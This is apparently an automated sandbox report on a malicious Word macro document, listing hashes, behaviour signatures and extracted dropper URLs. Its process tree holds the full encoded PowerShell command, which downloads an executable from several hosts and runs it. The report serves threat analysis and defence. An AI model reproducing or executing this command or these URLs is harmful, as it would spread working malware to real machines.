Analysis
-
max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
-
submitted
21-11-2024 00:28
General
-
Target
f1e1c0a73518f3ca584e90f162a224514a1a8a31d0b625f44e2c7ab878b715a0.doc
-
Size
168KB
-
MD5
75bd4b0063bd857bcab72e088adca30e
-
SHA1
585a121ffbab437dd9043b87e2ace950842e5a06
-
SHA256
f1e1c0a73518f3ca584e90f162a224514a1a8a31d0b625f44e2c7ab878b715a0
-
SHA512
19b7666676481f8dd4edfd68f3b4b1df66536e6fd8e05ea5373c4375f00796dad8b2f8d1fa6d9ecb42bfacee8e0685b4845f937968fe32e9dd08d16e52cdd0ee
-
SSDEEP
3072:64PrXcuQuvpzm4bkiaMQgAlS8ll4TKCpJynpr7RT:7DRv1m4bnQgIS8lFnpr7RT
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://houseofgriffin.org/weblog/v76/
exe.dropper
http://hohwy.com/cgi-bin/Bv8y33Cmr/
exe.dropper
http://lidermuebles.com.ar/cgi-bin/wz4rxd/
exe.dropper
http://106.52.87.250:81/wp-admin/T3B09Z/
exe.dropper
http://duhocjk.vn/wp-admin/51f73u/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 5 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f1e1c0a73518f3ca584e90f162a224514a1a8a31d0b625f44e2c7ab878b715a0.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB